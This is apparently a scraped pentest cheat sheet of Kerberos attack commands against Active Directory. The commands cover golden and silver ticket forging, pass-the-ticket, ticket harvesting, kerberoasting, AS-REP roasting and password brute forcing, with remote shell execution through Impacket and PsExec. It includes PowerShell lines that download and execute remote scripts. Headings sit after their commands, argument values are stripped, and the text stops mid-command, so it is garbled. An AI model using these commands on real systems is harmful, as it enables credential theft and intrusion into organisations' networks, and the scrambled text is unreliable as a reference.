``` > python ticketer.py -nthash -domain-sid -domain > ``` > > **Generate TGT with NTLM** > > **Impacket Examples** > > **Golden Ticket** > > ``` > .\PsExec.exe -accepteula \\ cmd > ``` > > **Execute CMD on Remote Host** > > ``` > .\Rubeus.exe ptt /ticket: > ``` > > **Rubeus Examples** > > ``` > kerberos::ptt > ``` > > **Inject TGS with Mimikatz** > > ``` > kerberos::golden /domain:/sid: /aes256: /user: /service: /target: > ``` > > **Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)** > > ``` > kerberos::golden /domain:/sid: /aes128: /user: /service: /target: > ``` > > **Generate TGS with AES 128bit Key** > > ``` > kerberos::golden /domain:/sid: /rc4: /user: /service: /target: > ``` > > **Generate TGS with NTLM** > > **mimikatz Examples** > > ``` > impacket-psexec /@ -k -no-pass > impacket-smbexec /@ -k -no-pass > impacket-wmiexec /@ -k -no-pass > ``` > > **Execute Remote Commands by using TGT** > > ``` > export KRB5CCNAME=.ccache > ``` > > **Set the ticket for impacket use** > > ``` > python ticketer.py -aesKey -domain-sid -domain -spn > ``` > > **Generate TGS with aesKey** > > ``` > python ticketer.py -nthash -domain-sid -domain -spn > ``` > > **Generate TGS with NTLM** > > **Impacket Examples** > > **Silver Ticket** > > ``` > .\PsExec.exe -accepteula \\ cmd > ``` > > **Execute a CMD on Remote Host** > > ``` > .\Rubeus.exe ptt /ticket: > ``` > > **Inject Ticket with Rubeus** > > ``` > kerberos::ptt > ``` > > **Inject Ticket with mimikatz** > > **Using Ticket on Windows** > > ``` > impacket-psexec /@ -k -no-pass > impacket-smbexec /@ -k -no-pass > impacket-wmiexec /@ -k -no-pass > ``` > > **Execute Remote Commands by using TGT** > > ``` > export KRB5CCNAME=.ccache > ``` > > **Using Ticket on Linux** > > ``` > python ticket_converter.py ticket.kirbi ticket.ccache > python ticket_converter.py ticket.ccache ticket.kirbi > ``` > > > > > **Convert Tickets between Linux and Windows Format with ticket\_converter.py** > > ``` > [IO.File]::WriteAllBytes(".kirbi", [Convert]::FromBase64String("")) > ``` > > **Convert Tickets dumped with Rubeus into base64** > > ``` > sekurlsa::tickets /export > .\Rubeus dump > ``` > > **Harvest Tickets from Windows** > > ``` > cp tickey /tmp/tickey > /tmp/tickey -i > ``` > > * If none return, default is FILE:/tmp/krb5cc\_%{uid} > * In Case of File Tickets it is possible to Copy-Paste them to use them > * In Case of being KEYRING Tickets, the Tool tickey can be used to get them > * To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes > * To inject, the Ticket have to be copied in a reachable Folder by all Users > > ``` > grep default_ccache_name /etc/krb5.conf > ``` > > **Check Type and Location of Tickets** > > **Harvest Tickets from Linux** > > **Pass The Ticket (PTT)** > > ``` > .\PsExec.exe -accepteula \\ cmd > ``` > > **Execute a CMD on Remote Host** > > ``` > .\Rubeus.exe asktgt /domain: /user: /rc4: /ptt > ``` > > **Ask and inject the Ticket** > > ``` > impacket-psexec /@ -k -no-pass > impacket-smbexec /@ -k -no-pass > impacket-wmiexec /@ -k -no-pass > ``` > > **Execute Remote Commands** > > ``` > export KRB5CCNAME=.ccache > ``` > > **Set TGT for Impacket Usage** > > ``` > impacket-getTGT /: > ``` > > **Request TGT with Password** > > ``` > impacket-getTGT / -aesKey > ``` > > **Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)** > > ``` > impacket-getTGT / -hashes : > ``` > > **Request TGT with Hash** > > **Overpass The Hash/Pass The Key (PTK)** > > ``` > impacket-GetUserSPNs /: -outputfile > .\Rubeus.exe kerberoast /outfile: > iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") > Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII > Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII > ``` > > **Kerberoasting** > > ``` > .\Rubeus.exe asreproast /format:hashcat /outfile: > ``` > > **Check ASPREPRoast for all Domain Users in Domain** > > ``` > impacket-GetNPUsers / -usersfile -format hashcat -outputfile > impacket-GetNPUsers / -usersfile -format john -outputfile > ``` > > **Check ASPREPRoast for a List of Users (No Credentials required)** > > ``` > impacket-GetNPUsers /: -request -format hashcat -outputfile > impacket-GetNPUsers /: -request -format john -outputfile > ``` > > **Check ASPREPRoast for all Domain Users (Credentials required)** > > **ASPREPRoast** > > ``` > .\Rubeus.exe brute /passwords: /outfile: > ``` > > **Check Passwords for all Users in Domain** > > ``` > .\Rubeus.exe brute /users: /passwords: /domain: /outfile: > ``` > > **With List of Users** > > ``` > ./kerbrute -domain -users -passwords -outputfile > ``` > > **Bruteforce** > > * Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed). > * Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC). > * Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC). > > **General Notes** > > > > > **Kerberos** > > ``` > IEX(New-Object Net.webclient).downloadString('http://:/jaws-enum.ps1') > ``` > > **JAWS** > > ``` > $ python3 owneredit.py -k '/:' -dc-ip -action write -new-owner '